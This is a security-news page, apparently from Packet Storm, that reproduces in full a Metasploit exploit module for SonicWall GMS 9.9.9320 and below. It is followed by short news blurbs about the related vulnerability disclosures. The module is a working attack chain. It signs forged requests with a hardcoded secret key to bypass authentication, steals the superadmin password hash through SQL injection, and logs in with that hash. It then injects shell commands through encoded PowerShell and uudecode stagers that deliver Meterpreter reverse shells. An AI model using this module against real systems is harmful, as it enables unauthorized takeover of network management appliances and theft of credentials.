Security
Headlines
HeadlinesLatestCVEs

Headline

Sonicwall GMS 9.9.9320 Remote Code Execution

This Metasploit module exploits a series of vulnerabilities - including auth bypass, SQL injection, and shell injection - to obtain remote code execution on SonicWall GMS versions 9.9.9320 and below.

Packet Storm
#sql#xss#vulnerability#web#mac#windows#linux#js#git#rce#perl#auth#telnet#ruby#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html  # We can actually use the title to identify which platform we're on  TITLE_WINDOWS = 'SonicWall Universal Management Host'  TITLE_LINUX = 'SonicWall Universal Management Appliance'  # Secret key (from com.sonicwall.ws.servlet.auth.MSWAuthenticator)  SECRET_KEY = '?~!@#$%^^()'  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Sonicwall',        'Description' => %q{          This module exploits a series of vulnerabilities - including auth          bypass, SQL injection, and shell injection - to obtain remote code          execution on SonicWall GMS versions <= 9.9.9320.        },        'License' => MSF_LICENSE,        'Author' => [          'fulmetalpackets <[email protected]>', # MSF module, analysis          'Ron Bowes <[email protected]>' # MSF module, original PoC, analysis        ],        'References' => [          [ 'URL', 'https://www.rapid7.com/blog/post/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/'],          [ 'CVE', '2023-34124'],          [ 'CVE', '2023-34133'],          [ 'CVE', '2023-34132'],          [ 'CVE', '2023-34127']        ],        'Privileged' => true,        'Targets' => [          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X64],              'Type' => :dropper,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',                'WritableDir' => '/tmp'              }            }          ],          [            'Windows Command',            {              'Platform' => ['win'],              'Arch' => [ARCH_CMD],              'Type' => :cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',                'WritableDir' => '%TEMP%'              }            }          ],          [            'Linux Command',            {              'Platform' => ['linux', 'unix'],              'Arch' => [ARCH_CMD],              'Type' => :cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/generic'              }            }          ],        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2023-07-12',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK]        },        'DefaultOptions' => {          'SSL' => true,          'RPORT' => '443'        }      )    )    register_options(      [        OptString.new('TARGETURI', [ true, 'The root URI of the Sonicwall appliance', '/']),      ]    )    register_advanced_options([      # This varies by target, so don't define the default here      OptString.new('WritableDir', [true, 'A directory where we can write files']),    ])  end  def check    vprint_status("Validating SonicWall GMS is running on URI: #{target_uri.path}")    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'method' => 'GET'    )    # Basic sanity checks - the path should return a HTTP/200    return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?    return CheckCode::Unknown("Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200    # Ensure we're hitting plausible software    return CheckCode::Detected("Running: #{::Regexp.last_match(1)}") if res.body =~ /(SonicWall Universal Management Suite [^<]+)</    # Otherwise, probably safe?    CheckCode::Safe('Does not appear to be running SonicWall GMS')  end  # Exploits CVE-2023-34133 (SQL injection) + CVE-2023-34124 (auth bypass) to  # get a password hash  def get_password_hash    # attempt a sqli.    vprint_status('Attempting to use SQL injection to grab the password hash for the superadmin user...')    # SQL injection question to fetch the admin password    query = "' union select " +            # This must be a valid DOMAIN, which we can thankfully fetch from the DB            '(select ID from SGMSDB.DOMAINS limit 1), ' +            # These fields don't matter            "'', '', '', '', '', " +            # This field is returned, so use it to get the id and password for our            # the super user, if possible            "(select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0)," +            # The rest of the fields don't matter, end with a single quote to finish with a clean query            "'', '', '"    vprint_status("Generated SQL injection: #{query}")    # We need to sign our query with the SECRET_KEY    token = Base64.strict_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.const_get('SHA1').new, SECRET_KEY, query))    vprint_status("Generated a token using built-in secret key: #{token}")    # Build the URI    # Note that encoding space to '+' doesn't work, so we replace it with '%20'    uri = normalize_uri(target_uri.path, 'ws/msw/tenant', CGI.escape(query).gsub(/\+/, '%20'))    # Do it!    print_status('Sending SQL injection request to get the username/hash...')    res = send_request_cgi(      'method' => 'GET',      'uri' => uri,      'headers' => {        'Auth' => '{"user": "system", "hash": "' + token + '"}'      }    )    # Sanity checks    fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") if res.code != 200    fail_with(Failure::UnexpectedReply, "Service didn't return a JSON response") if res.get_json_document.empty?    # This field has the SQL injection response    hash = res.get_json_document['alias']    # If the server responds with an error, it has no 'alias' field so the key    # is missing entirely (this is where it fails against patched targets)    fail_with(Failure::NotVulnerable, "SQL injection failed - service probably isn't vulnerable (or isn't configured)") if hash.nil?    # If alias is present but contains nothing, that means our query got no    # results (probably there are no active users, or something?)    fail_with(Failure::UnexpectedReply, 'SQL injection appeared to work, but no users returned - server might not have an admin account?') if hash.empty?    # If there's no ':' in the response, something super weird happened    fail_with(Failure::UnexpectedReply, 'SQL injection returned the wrong value: no username or hash') if !hash.include?(':')    username, hash = hash.split(/:/, 2)    print_good("Found an account: #{username}:#{hash}")    [username, hash]  end  # Exploits CVE-2023-34132 (pass the hash)  def authenticate(username, hash)    # Grab server hashing token    vprint_status('Grabbing server hashing token...')    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/appliance/login'),      'keep_cookies' => true    )    fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?    # Look for the getPwdHash function call, as it contains the token we need    if res.body.match(/getPwdHash.*,'([0-9]+)'/).nil?      fail_with(Failure::UnexpectedReply, 'Could not get the server token for authentication')    end    server_token = ::Regexp.last_match(1)    vprint_status("Got the server-side token: #{server_token}")    # Generate the client_hash by combining the server token + the stolen    # password hash    client_hash = Digest::MD5.hexdigest(server_token + hash)    vprint_status("Generated client token: #{client_hash}")    # Send the token    print_status('Attempting to authenticate with the client token + password hash...')    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),      'keep_cookies' => true,      'vars_post' => {        'action' => 'login',        'clientHash' => client_hash,        'applianceUser' => username      }    })    fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?    # Check the title to make sure it worked    html = res.get_html_document    title = html.at('title').text    # We can identify the platform based on the title    if title == TITLE_LINUX      print_good("Successfully logged in as #{username} (Linux detected!)")      return Msf::Module::Platform::Linux    elsif title == TITLE_WINDOWS      print_good("Successfully logged in as #{username} (Windows detected!)")      return Msf::Module::Platform::Windows    end    fail_with(Failure::UnexpectedReply, "Authentication appears to have failed! Title was \"#{title}\", which is not recognized as successful")  end  def execute_command_windows(cmd)    vprint_status("Encoding (Windows) command: #{cmd}")    # While this is a shell command injection issue, an aggressive XSS filter    # prevents us from using a lot of important characters such as quotes and    # plus and ampersands and stuff. We can't even use Base64, because we can't    # use the + sign!    #    # We discovered that we could encode the command as integers, then use    # powershell to decode + execute it, so that's what this does.    cmd = "cmd.exe /c #{Msf::Post::Windows.escape_powershell_literal(cmd).gsub(/&/, '"&"')}"    encoded_cmd = "powershell IEX ([System.Text.Encoding]::UTF8.GetString([byte[]]@(#{cmd.bytes.join(',')})))"    # Run the command    vprint_status("Running shell command: #{cmd}")    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),      'keep_cookies' => true,      'vars_post' => {        'action' => 'file_system',        'task' => 'search',        'searchFolder' => 'C:\\GMSVP\\etc\\',        'searchFilter' => "|#{encoded_cmd}| rem "      }    })    # This doesn't work, because our payload blocks and it eventually fails    fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?    fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')    print_good('Payload sent!')  end  def execute_command_linux(cmd)    vprint_status('Encoding (Linux) payload')    # Generate a filename    payload_file = File.join(datastore['WritableDir'], ".#{Rex::Text.rand_text_alpha_lower(8)}")    # Wrap the command so we can execute arbitrary commands. There are several    # difficulties here, the first of which is that we don't have much in the    # way of tools. We're missing curl, wget, base64, python, ruby, even perl!    # The best tool I could find for staging a payload is uudecode, so we use    # that. (I noticed later that telnet exists, which could be another option)    #    # The good news is, with uudecode, we can send a base64 payload. The bad    # news is, we can't use '+', which means we can't use pure base64! To work    # around that, we replace '+' with '@', then use a bit of Bash magic to    # put it back! We also can't use quotes, so we have to do a mountain of    # escaping instead. The default shell is also /bin/sh, so we need to run    # bash explicitly for the `$()` substitutions to work.    cmd = [      # Build a command that runs in bash (but don't use quotes!)      'bash -c ',      # Escape all this for bash      Shellwords.escape([        # Use `uudecode` to get a '+' into a variable        "PLUS=$(echo -e begin-base64\ 755\ a\\\\nKwee\\\\n==== | uudecode -o-);",        # Build a new uuencode file (encoded in base64) with the payload        "echo -e begin-base64 755 #{Shellwords.escape(payload_file)}\\\\n",        # Encode the payload as base64, but replace + with a variable        "#{Base64.strict_encode64(cmd).gsub(/\+/, '${PLUS}')}\\\\n",        # Pipe into uudecode        '==== | uudecode;',        # Run in the background with coproc        "coproc #{Shellwords.escape(payload_file)};",        # Delete the payload file        "rm #{payload_file}"      ].join)    ].join    # Run it!    vprint_status("Encoded shell command: #{cmd}")    print_status('Attempting to execute the shell injection payload')    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),      'keep_cookies' => true,      'vars_post' => {        'action' => 'file_system',        'task' => 'search',        'searchFolder' => '/opt/GMSVP/etc/',        'searchFilter' => ";#{cmd}#"      }    })    # This doesn't work, because our payload blocks and it eventually fails    fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?    fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')    print_good('Payload sent!')  end  def exploit    # Get the password hash (from SQL injection + auth bypass)    username, hash = get_password_hash    # Use pass-the-hash to log in using that hash    detected_platform = authenticate(username, hash)    # Sanity-check the target    if !datastore['ForceExploit'] && !target.platform.platforms.include?(detected_platform)      fail_with(Failure::BadConfig, "The host appears to be #{detected_platform}, which the target #{target.name} does not support; please choose the appropriate target (or set ForceExploit to true)")    end    # Generate a payload based on the target type    case target['Type']    when :cmd      my_payload = payload.encoded    when :dropper      my_payload = generate_payload_exe    else      fail_with(Failure::BadConfig, "Unknown target type: #{target.type}")    end    # Run a command, using the platform specified in the target    if target.platform.platforms.include?(Msf::Module::Platform::Linux)      execute_command_linux(my_payload)    elsif target.platform.platforms.include?(Msf::Module::Platform::Windows)      execute_command_windows(my_payload)    else      fail_with(Failure::Unknown, "Unknown platform: #{platform}")    end  endend

Related news

New Vulnerabilities Disclosed in SonicWall and Fortinet Network Security Products

SonicWall on Wednesday urged customers of Global Management System (GMS) firewall management and Analytics network reporting engine software to apply the latest fixes to secure against a set of 15 security flaws that could be exploited by a threat actor to circumvent authentication and access sensitive information. Of the 15 shortcomings (tracked from CVE-2023-34123 through CVE-2023-34137), four

New Vulnerabilities Disclosed in SonicWall and Fortinet Network Security Products

SonicWall on Wednesday urged customers of Global Management System (GMS) firewall management and Analytics network reporting engine software to apply the latest fixes to secure against a set of 15 security flaws that could be exploited by a threat actor to circumvent authentication and access sensitive information. Of the 15 shortcomings (tracked from CVE-2023-34123 through CVE-2023-34137), four

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution